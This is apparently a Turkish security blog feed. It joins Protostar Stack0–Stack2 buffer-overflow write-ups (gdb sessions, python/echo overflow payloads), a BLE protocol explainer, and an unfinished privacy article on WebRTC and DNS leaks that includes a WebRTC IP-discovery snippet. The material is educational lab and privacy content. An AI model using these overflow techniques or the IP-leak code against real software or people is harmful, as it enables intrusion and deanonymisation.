Stack2.c Amaç: “you have correctly got the variable to the right value” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified […]
]]>Amaç: “you have correctly got the variable to the right value” satırını yazdırmak.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
Bu seviyede de istediğimiz cümleyi yazdırabilmek için programın akışını bir şekilde değiştirmemiz gerekiyor. Önceki seviyede modified değişkeni 0x61626364 olması yeterken şimdi kabuktaki GREENIE değişkeni 0x0d0a0d0a olmalı.
user@protostar:/opt/protostar/bin$ ./stack2 stack2: please set the GREENIE environment variable
Program çalıştırıldığı zaman bir önceki seviyedeki gibi herhangi bir input beklemeden, GREENIE değerini atamamızı istiyor. Bir önceki seviyeden farkı sadece programa doğrudan değil dolaylı yoldan Kabuk değişkenini kullanarak program akışını değiştirecek olmamız.
Bu seviyeyide aynı şekilde uzun bir text verdikten sonra modified değişkenini değiştirip programın akışını istediğimiz şekilde yönlendirebiliriz. Bunun için öncelikle bufferımızı doldurup modified’in değerini değiştirebildiğimizi görelim.
# 64 Tane "A" karakteri user@protostar:/opt/protostar/bin$ export GREENIE='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ; ./stack2 Try again, you got 0x00000000 # 64 Tane "A" karakteri + 4 tane B user@protostar:/opt/protostar/bin$ export GREENIE='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' ; ./stack2 Try again, you got 0x42424242
Evet bu şekilde modified değişkenini istediğimiz şekilde değiştirebildiğimize göre bölümü bitirmek için istenilen değeri yazabilliriz.
Koddaki if(modified == 0x0d0a0d0a) değerini Little Endiana göre yazdığım 0a0d0a0d yani \x0a\x0d\x0a\x0d değerini yazmam gerektiğini görüyorum. Bunu iki şekilde basitçe payloadıma ekleyebilirim.
Echo ile “\x0a\x0d\x0a\x0d” değerini yazdırmak istersem, hex sayıları yazdırabilmem için -e parametresini ekliyorum.
user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d') user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable
Python ile:
user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c 'print 64*"A"+"\x0a\x0d\x0a\x0d"') user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable
Stack1.c Amaç: “you have correctly got the variable to the right value” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got […]
]]>Amaç: “you have correctly got the variable to the right value” satırını yazdırmak.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
Bu seviyede de istediğiğimiz cümleyi yazdırabilmek için programın akışını daha spesifik bir şekilde değiştirmemiz gerekiyor. Önceki seviyede modifieddeğişkeni 0 haricinde bir değer olması yeterken şimdi 0x61626364 değerine eşit olması gerekmekte.
user@protostar:/opt/protostar/bin$ ./stack1 stack1: please specify an argument user@protostar:/opt/protostar/bin$ ./stack1 Merhaba Try again, you got 0x00000000
Program çalıştırıldığı zaman bir önceki seviyedeki gibi herhangi bir input beklemeden argüman belirtiniz çıktısı veriyor. Herhangi bir argüman verdiğim zaman ise Tekrar deneyin diyip o anki modified değişkeninin değerini hex olarak yazdırıyor. Bu seviyeyide aynı şekilde uzun bir değer verdikten sonra geçebiliriz. Fakat gdb (gnu debugger)’dan bahsetmek istiyorum. GDB ile bir programı açıp satır satır assembly kodlarını inceleyebilir, değişiklik yapabilir veya programın akışını değiştirebiliriz.
Aşağıdaki çıktıyı biraz yorumlayarak basitleştirmek gerekirse. Sol taraftaki 0x ile başlayan 16lı tabanındaki sayılar, sağ tarafındaki opcode ve argüman(lar)’ın saklandığı hafıza adresleridir.
Şuan sağdaki argümanlar biraz göz korkutucu görünebilir bunun yerine şu anda varsayılan olan AT&T sentaksını intel ile değiştireceğim.
user@protostar:/opt/protostar/bin$ gdb stack1 Reading symbols from /opt/protostar/bin/stack1...done. (gdb) b main Breakpoint 1 at 0x804846d: file stack1/stack1.c, line 11. (gdb) disassemble main Dump of assembler code for function main: 0x08048464 <main+0>: push %ebp 0x08048465 <main+1>: mov %esp,%ebp 0x08048467 <main+3>: and $0xfffffff0,%esp 0x0804846a <main+6>: sub $0x60,%esp 0x0804846d <main+9>: cmpl $0x1,0x8(%ebp) 0x08048471 <main+13>: jne 0x8048487 <main+35> 0x08048473 <main+15>: movl $0x80485a0,0x4(%esp) 0x0804847b <main+23>: movl $0x1,(%esp) 0x08048482 <main+30>: call 0x8048388 <errx@plt> 0x08048487 <main+35>: movl $0x0,0x5c(%esp) 0x0804848f <main+43>: mov 0xc(%ebp),%eax 0x08048492 <main+46>: add $0x4,%eax 0x08048495 <main+49>: mov (%eax),%eax 0x08048497 <main+51>: mov %eax,0x4(%esp) 0x0804849b <main+55>: lea 0x1c(%esp),%eax 0x0804849f <main+59>: mov %eax,(%esp) 0x080484a2 <main+62>: call 0x8048368 <strcpy@plt> 0x080484a7 <main+67>: mov 0x5c(%esp),%eax 0x080484ab <main+71>: cmp $0x61626364,%eax 0x080484b0 <main+76>: jne 0x80484c0 <main+92> 0x080484b2 <main+78>: movl $0x80485bc,(%esp) 0x080484b9 <main+85>: call 0x8048398 <puts@plt> 0x080484be <main+90>: jmp 0x80484d5 <main+113> 0x080484c0 <main+92>: mov 0x5c(%esp),%edx 0x080484c4 <main+96>: mov $0x80485f3,%eax 0x080484c9 <main+101>: mov %edx,0x4(%esp) 0x080484cd <main+105>: mov %eax,(%esp) 0x080484d0 <main+108>: call 0x8048378 <printf@plt> 0x080484d5 <main+113>: leave 0x080484d6 <main+114>: ret End of assembler dump.
Intel sentaksına geçmek için gdb de set disassembly-flavor intel
yazıp tekrardan main fonksiyonunun makina kodlarını assembly kodlarına çeviriyorum. -disassemble-
(gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x08048464 <main+0>: push ebp 0x08048465 <main+1>: mov ebp,esp 0x08048467 <main+3>: and esp,0xfffffff0 0x0804846a <main+6>: sub esp,0x60 0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1 0x08048471 <main+13>: jne 0x8048487 <main+35> 0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0 0x0804847b <main+23>: mov DWORD PTR [esp],0x1 0x08048482 <main+30>: call 0x8048388 <errx@plt> 0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0 0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc] 0x08048492 <main+46>: add eax,0x4 0x08048495 <main+49>: mov eax,DWORD PTR [eax] 0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax 0x0804849b <main+55>: lea eax,[esp+0x1c] 0x0804849f <main+59>: mov DWORD PTR [esp],eax 0x080484a2 <main+62>: call 0x8048368 <strcpy@plt> 0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c] 0x080484ab <main+71>: cmp eax,0x61626364 0x080484b0 <main+76>: jne 0x80484c0 <main+92> 0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc 0x080484b9 <main+85>: call 0x8048398 <puts@plt> 0x080484be <main+90>: jmp 0x80484d5 <main+113> 0x080484c0 <main+92>: mov edx,DWORD PTR [esp+0x5c] 0x080484c4 <main+96>: mov eax,0x80485f3 0x080484c9 <main+101>: mov DWORD PTR [esp+0x4],edx 0x080484cd <main+105>: mov DWORD PTR [esp],eax 0x080484d0 <main+108>: call 0x8048378 <printf@plt> 0x080484d5 <main+113>: leave 0x080484d6 <main+114>: ret End of assembler dump.
Virgül yerine boşluk görmek ve registerların başında % görmemek okumayı kolaylaştırıyor. İki sentaksın aralarındaki tek fark bu değil aynı zamanda assign yani atama yapılan yerde değişiyor.
Intel Sentaks
opcode | hedef,kaynak |
mov | eax,[ecx] |
AT&T Sentaks
opcode | kaynak,hedef |
movl | (%ecx),%eax |
Aşağıdaki gibi bir kaç şekilde stack1 programına argüman yollayabiliriz.
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #64 tane A Try again, you got 0x00000000 user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64)") Try again, you got 0x00000000 user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC Try again, you got 0x00000043 user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC Try again, you got 0x43434343 user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'CCCC')") Try again, you got 0x43434343 user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEFG Try again, you got 0x47464544
Bir önceki seviyede olduğu gibi 64 tane A(0x41) harfiyle bufferi dolduruyorum. Bunu daha kısa bir şekilde pythondan yardım alarak doldurabileceğimi söylemiştim. Burada dikkat çekmek istediğim son iki örnekte modified variable yerine istediğimi yazdırabiliyor oluşum. Fakat yazdırırken dikkat etmem gereken bir nokta sondan bir önceki 64 tane A ve bir tane C olan örnekte değerim 0x00000043 olması. Yani benim her modified değişkenine yazdığım harf tersten gözüküyor bunun sebebi bizim Big Endian olarak düşünmemiz ama makinaların Little Endian olarak çalışmasından kaynaklanıyor. Aralarındaki temel fark en kıymetli bitin solda yada sağda olmasıdır.
Madem istediğimiz şekilde modified değişkenini değiştirebiliyoruz o zaman bizden istenen değeri yazmayı deniyelim. Stack1.c’dekiif(modified==0x61626364)
değerine bakacak olursak. 0x61626364 değerini modified değişkenine yazmak için bu sayıların ascii karşılığına pythondan yardım alarak buluyorum.
$ python3 Python 3.7.1 (default, Oct 22 2018, 10:41:28) [GCC 8.2.1 20180831] on linux >>> chr(0x61) 'a' >>> chr(0x62) 'b' >>> chr(0x63) 'c' >>> chr(0x64) 'd'
Demek ki ben 64lük buffer’ı doldurduktan sonra abcd yazarsam bölümü geçebilirim.
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'abcd')") Try again, you got 0x64636261
Little Endian‘a dikkat ederek
user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print('A'*64+'dcba')") you have correctly got the variable to the right value
GDB’de hook-stop denilen programın akışı her durdurulduğunda istediğimiz komutları sanki o komutları yazmışız gibi çalıştıran bir komut seti kuralı yazabiliriz.
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >info registers # register'ların durumunu gösterir >x/i $eip # bir sonraki çalıştırılacak komutu gösterir >x/16wx $esp # Stack'in durumunu 16word olarak gösterir >end
1 word 4byte olarak gdb içinde tanımlanmıştır.
Stack 0’da bahsettiğim gibi stack lokal değişkenlerin tutulduğu bir veri yapısıdır. Bu sayede bir programın içerisinde aynı değişken ismi farklı fonksiyonlar içerisinde yer alabilir.
Örnek vermek gerekirse programın içinde birden fazla i değişkeni olmasına rağmen bir fonksiyonun içerisinde sadece tek i değişkeni bulunabilir. Bunun olmasını sağlayan stack frame denilen, her fonksiyon için kendine ait bir stack alanının bulunmasıdır.
user@protostar:/opt/protostar/bin$ gdb stack1 -q # -q Banneri görmemek için Reading symbols from /opt/protostar/bin/stack1...done. (gdb) set disassembly-flavor intel (gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >info registers >x/i $eip >x/16wx $esp >end (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba eax 0x61626364 1633837924 ecx 0x0 0 edx 0x45 69 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff758 0xbffff758 esi 0x0 0 edi 0x0 0 eip 0x80484b9 0x80484b9 <main+85> eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 0x80484b9 <main+85>: call 0x8048398 <puts@plt> 0xbffff6f0: 0x080485bc 0xbffff93e 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141 0x080484b9 19 in stack1/stack1.c (gdb) ni ... ... Aşağıdaki mesajı görene kadar ni yazıp stacke bakalım ... you have correctly got the variable to the right value (gdb) x/24wx $esp 0xbffff6f0: 0x080485bc 0xbffff93e 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff740: 0x41414141 0x41414141 0x41414141 0x61626364
Görüldüğü gibi 4 satır 0x41414141 ile dolu ve en sonda da bizim 0x61626364 yazdığımız dcba değeri bulunmakta. Her bir 0x41414141 4 byte olup toplam 16 tane word olduğunu hesaplarsak bu programdaki 64byte olan buffer’ı doldurduğumuzu görebiliriz. Sonrasındaki 0x61626364 modified değişkeni oluyor.
Bunu şu şekilde ispatlayabiliriz sadece 64byte’lık bir payload ile çalıştırdığımızda stackteki modified değişkeninin bulunduğu adresin 0 olmasını bekleriz.
... ... Üstteki gdb örneğinin aynısı. Sadece 68byte yerine ... 64byte'lık payload verdim. (gdb) x/24wx $esp 0xbffff6f0: 0xbffff70c 0xbffff942 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff740: 0x41414141 0x41414141 0x41414141 0x00000000
Stack0.c Amaç: “you have changed the ‘modified’ variable” satırını yazdırmak. #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } İstediğimiz cümleyi yazdırabilmemiz için programın akışını değiştirilebilmemiz […]
]]>Amaç: “you have changed the ‘modified’ variable” satırını yazdırmak.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
İstediğimiz cümleyi yazdırabilmemiz için programın akışını değiştirilebilmemiz gerekiyor. Bunun için bir yukarıdaki if koşulunun sağlanması gerekmekte, bunun içinde modified değişkeninin yukarıda tanımlanan 0 değerinden başka bir değere sahip olması gerekmekte.
user@protostar:/opt/protostar/bin$ ./stack0 Merhaba Try again?
Programmı çalıştırdığım zaman gets() fonksiyonuyla kullanıcıdan stdin -standart input- değer aldığını daha sonra modified değişkeni hala 0 olduğu için “Try again?” mesajını yazdırdığını görüyoruz.
Burada gets() fonksiyonuna dikkat etmek gerekiyor. Eğer man sayfalarını kontrol edecek olursak.
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security.
Yani gets() fonksiyonu stack frame’e istediğimiz gibi doldurabilmemize olanak sağlıyor. Burada stack frame ile kast edilen şey programdaki fonksiyonları lokal değişkenleri stack içerisinde atılır ve her fonksiyonun kendine ait bir stack frame’i bulunur. Böylece program içerisindeki fonksiyonlar birbirlerinin değişkenlerine erişemezler. -Global değişkenler bundan farklı olarak adresleri ile çağırılırlar ve bu değişkenler stack veya heap dışında Data Sectiontutulur.
Code (Text): Basitçe makina kodlarının bulunduğu bölüm.
Data: Global ve statik değişken adreslerinin bulunduğu bölüm.
Stack: Lokal değişkenlerin bulunduğu bölüm. Belleğin sonundan Data kısmına doğru büyür. -Stack pointerin adresi küçülür-
Heap: Dinamik değişkenlerin bulunduğu bölüm. Data bölümünden belleğin alt kısımlarına doğru büyür.
Yukarıdaki bilgiler doğrultusunda gets() fonksiyonunu kullanarak aynı stack frame’de bulunan modified değişkenini değiştirebiliriz. Bunu yapmak aslında çok kolay. Programa input verirken buffer[64]‘ı doldurduktan sonra yazmaya devam etmemiz yeterli.
İstediğim kadar harf üretebilmek için python’dan yardım alıyorum
user@protostar:/opt/protostar/bin$ python -c "print('A'*64)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
64 tane A verdiğimiz zaman ilk seferde çalıştırdığımdaki çıktıyı görüyorum bu zaten buffer dolduğu fakat modified değişkeni değişmediği için beklenilen sonuç.
user@protostar:/opt/protostar/bin$ ./stack0 #64 Tane A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Try again?
Buffer dolduktan hemen sonra modified (int) değişkeni(4 byte) olduğu için sadece tek bir byte’ını değiştirmem yetti.
user@protostar:/opt/protostar/bin$ ./stack0 #65 Tane A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA you have changed the 'modified' variable
Eğer buffer ve 4byte’lık modified değişkenini değiştirdikten sonra yazmaya devam edersek “Segmentation fault” denilen hata ile karşılaşırız. Segmentation Fault programın kendi hafıza alanının dışındaki bir adrese erişmeye çalıştığı zaman işletim sistemi tarafından döndürülen bir hatadır.
user@protostar:/opt/protostar/bin$ ./stack0 #100 Tane A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA you have changed the 'modified' variable Segmentation fault]]>
Öğrenilmesi Gereken Terimler GAP (Generic Access Protocol) GATT (Generic Attribute Profile) UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı) Giriş BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar. Bluetooth protokolü […]
]]>BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar.
Bluetooth protokolü iki kategoriye ayrılmıştır. Denetleyici ve Ana bilgisayar. Ayrıca bu kategorilerin belirli rolleri yerine getiren alt kategorileri vardır. Bunlardan GAP ve GATT bizim için önemlidir.
GAP ve GATT arasında ki farkı şöyle açıklayalım.
GAP
BLE Stacki üzerinde ki genel topolojiyi tanımlar.
GATT
İki cihaz arasında transfer edilen verinin hangi özellikleri taşıyacağının detaylarını açıklar.
GATT genellikle verinin nasıl formatlandığı, paketlendiğini açıklanan kurallara göre gönderilip gönderilmediğine odaklanır. Bir de işin ATT kısmı vardır. ATT ise GATT’a yakın konumlanan bir protokoldür. Şöyle ki: GATT iki cihaz arasında ki gidip gelen verinin tanımını yapmak için ATT’yi kullanır.
Dış dünyada Bluetooth cihazların birbiri ile iletişime geçebilmesi için 2 adet mekanizma vardır. Bunlar: Yayın yapmak(Broadcasting) veya Bağlanmak(Connecting). GAP bu iki mekanizmayı tanımlamaktadır.
Bir cihaz aşağıda ki GAP rollerinden birini kabul ederek Bluetooth ağına dahil olabilir.
Yayın Yapmak Bu rolde bir cihaza veri aktarmak için bağlantıya gerek yoktur.
Bağlanmak Bu rolde veri transferi için cihazların bağlı olması gerekmektedir. Bu rol Yayın Yapma(Broadcasting) rolüne göre daha fazla kullanılmaktadır.
Çevresel cihazlar ve Merkezi cihazların bağlantıları bir çok sebeple kopabilir fakat cihazlar kendi bağlantılarını da sonlandırabilirler.
Merkezi cihaz ile çevresel cihazın birbirine bağlanabilmesi için çeşitli bağlantı parametrelerine ihtiyacı vardır. Bu parametreler sadece Merkezi cihaz tarafından değiştirilebilir ve güncellenebilir fakat çevresel bir cihaz merkezi cihazdan bağlantı parametrelerini değiştirmesini isteyebilir.
GAP’a benzer bir şekilde cihazların etkileşime geçebilmesi için kabul edebileceği/benimseyebileceği roller bulunmaktadır.
Bunlar:
Bluetooth Stack’i aşağıda ki gibidir.
Ayrıca ESP32 ile de araştırmalar veya çalışmalar yapabilirsiniz.
İleride belki bununla ilgili teknik bir yazı yazabilirim. Şuanlık yazımız bu kadar.
Okuduğunuz için teşekkürler.
Daha detaylı bilgi için:
]]>Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha […]
]]>Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha net görebiliyoruz. Bu yazımızda internette nasıl anonimlik sağlayacağınızdan bahsederken örnek olaylarla da istihbarat servislerinin ve 0-day araştırmacılarının nasıl bu gizliliği hiçe saydıklarını göreceğiz. Her şey kamerayı kapatmaktan ibaret değil…
WebRTC (Web Real-Time Communication), adından da anlaşılabileceği üzere eş zamanlı dosya aktarımı, konferans, canlı akış ve web uygulamaları için tarayıcıların doğrudan birbiri ile haberleşebilmesini adına geliştirilmiş bir teknolojidir. Günümüz tarayıcılarında gömülü olarak gelmektedir ve direkt olarak çalıştırılabilmektedir. Her tarayıcıda gömülü gelen ve tetiklenmesi için herhangi ek bir aktiviteye gerek duymayan bir teknoloji için zafiyet de kaçınılmazdır. Peki nedir gizliliğimizi tehlikeye atan?
WebRTC, IP tanımlamasında standarttan farklı teknikler kullanır. Bu teknik Interactive Connectivity Establishment (ICE)’dir. ICE IP adresi tespitinde STUN/TURN sunucularını kullanılır. WebRTC açısından bakıldığında bu sunucular “IP adresim nedir?” sorusuna yanıt verir. Zafiyeti detaylı anlamak için bu kavramları da incelemek gerek.
WebRTC eşler aracılığıyla data alışverişi yaptığı için bu alışverin sağlanmasında STUN sunucuları kullanılır. Bağlantı sağlarken gönderilen bilgiler arasında LAN ve WAN bilgilerimiz de mevcut. Protokolün işleyişindeki mantıkda zafiyet ortataya çıkıyor. Buradaki IP bilgilerimiz gizlenmediği yani sunucu ve eş arasında düz metin halinde veri akışı sağlandığı için bilgilerimiz sızıyor.
STUN protokolünden farkı eşler arasındaki veri akışında köprü görevi görmesidir. Diğer eşe bilgi giderken TURN sunucularından çıkış yapıldığı için kendi WAN ve LAN IP bilgilerimiz iletilmiş olur. Aşağıdaki şemada çalışma mantığı görülmektedir.
Zafiyetimiz WEB sitelerinin STUN sunucularına yapılan istekteki IP bilgilerinin kaydedilmesinden ibaret. VPN kullansanız dahi VPN protokolleri STUN sunucularına giden bilgilerin kontrolünü yapmadığı için VPN sunucularının atadığı IP gözükmeyecektir. Bu durumda triple VPN, proxy ya da diğer yöntemleri kullansanız dahi iç ağ IP adresiniz sızmış olacaktır. Zafiyet sırasında gerçekleşen isteğin kod bloğundan bir kesit;
function findIP(onNewIP) { var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}), noop = function() {}, localIPs = {}, ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g, key;
https://berkimran.com.tr/ipleak/ipleak.html adresinden kendi tarayıcınızda testi gerçekleştirebilirsiniz.
Zafiyetli bir tarayıcıda iç ağ IP adresi resimdeki gibi ifşa olacaktır. Belirtmekte fayda var bu testi yaparken VPN kullandım. Testi yaptınız ve iç ağ IP adresiniz ifşa oldu, bu durumda tarayıcınıza bağlı olarak çeşitli korunma yöntemleri bulunmakta.
Firefox
Chrome
Günümüz itibarıyla sadece eklentiler ile engellemek mümkün. Bunun için WebRTC Network Limiter eklentisini kullanabilirsiniz.
Safari
Herhangi bir ayar yapmanıza gerek kalmadan Safari zafiyeti önlemektedir.
Anonim olmak için mümkün olduğunca verilerinizi paylaşmamanız gerek. Dolayısıyla tüm trafiğinizin anonim şekilde sağlanması çok önemli. Güvenli iletişiminize birisizi sızarsa tüm bilgileriniz tehlikededir demektir. Söz konusu DNS olunca da bir zayıflık söz konusu oluyor tabii ki. İşletim sisteminiz ya da modeminizden dolayı size atanan bir DNS sunucundan dolayı tüm trafiğiniz ifşa olabilir. Bir anonim ağda bulunsanız dahi çeşitli durumlarda varsayılan DNS sunucusu ile bağlantı kurabilirsiniz. Bunu dnsleaktest.com sitesinde çok güzel açıklamışlar.
Görüldüğü üzere direk ISP servisinin DNS sunucu ile haberleşildiğinde zafiyet ortaya çıkabilmektedir. Günümüz servis sağlayıcılarının ve onun atadığı DNS sunucularının bizi izlediğini varsayarsak bir anonim bağlantının ne kadar güvenli olduğunu daha iyi kavrayabiliriz. Örnek bir test ve zayıflığın kanıtı;
Çözüm çok basit. VPN servisi ile anonim bir ağ kullanmak ve VPN servisinin DNS sunucularını kullanmak. Ayrıca bkz. Dnscrypt
Yasaklamalardan ve sansürlerden dolayı Türkiye’nin teknoloji gündemini oldukça meşgul eden bir konu. Konu ile alakalı çok güzel yazılar yazıldı, teknik olarak açıklandı. Ancak ben farklı bir soruya cevap bulmak istiyorum “peki hangi VPN?”. Açıkcası 2012’den bu yana bir fiil her türlü VPN firmasını test ettim, kullandım. 6 yılda neredeyse her firmanın gizlilik politikasını, double & triple VPN mantığını ve işin detaylarına hakim oldum. Şöyle tecrübeleri aktarmak isterim;
Türkiye’nin de yakından bildiği bir VPN firması, politikasında kendinden kayıt(log) tutmuyoruz diye bahsettiği halde bir hacklenme vakası ile sarsıldı. Zamanının 1day exploit kiti ile VPN firmasının sunucularına girmeyi başaran hacker, tutulan tüm logları tek tek gözler önüne serdi. Bundan dolayı da insanlarda “log tutmadıklarını nereden bilebiliriz” şeklinde sorular oluştu. Cevabı aslında hepimiz biliyoruz.
Uzun uzun yazıp açıklamak istemiyorum. Sadece şunu düşünmeniz yeterli. Ortalama aylık 100 dolar verdiğiniz bir firma sizi tüm istihbarat servislerine karşı koruyor
Peki hangi VPN firması seçilmeli?
Tecrübelerime dayanarak aşağıdaki maddelere dikkat çekmek isterim;
Özetle bir VPN firmasının gizlilik politikasında belirttiği yazıdan bir kesit;
…kullanıcılarımızla ilgili bilgileri ifşa etmemiz istendiğinde, elimizde verebileceğimiz hiçbir bilginin bulunmadığı anlamına geliyor. Ancak, kredi kartı ödemeleri ve banka havaleleri kayıt altına alınmaktadır. Bu kayıtlar, bankalar veya kart firmaları tarafından tutulmakta ve tarafımızca silinmesi imkanı bulunmamaktadır. Anonim olarak işlem yapabilmek için nakit veya kripto para birimi ile ödeme yapma seçeneklerini kullanın.
kıyaslama için https://thatoneprivacysite.net/ adresini kullanabilirsiniz. Ek olarak;
https://torrentfreak.com/vpn-services-keep-anonymous-2018/
https://medium.com/@blackVPN/no-logs-6d65d95a3016
https://spideroak.com/articles/guest-post-can-you-trust-a-vpn-to-protect-your-privacy/
Şimdi tüm söylediklerimi unutun. Yukarıdaki en güvenli dediğimiz VPN firmaları bile neden güvensiz inceleyelim.
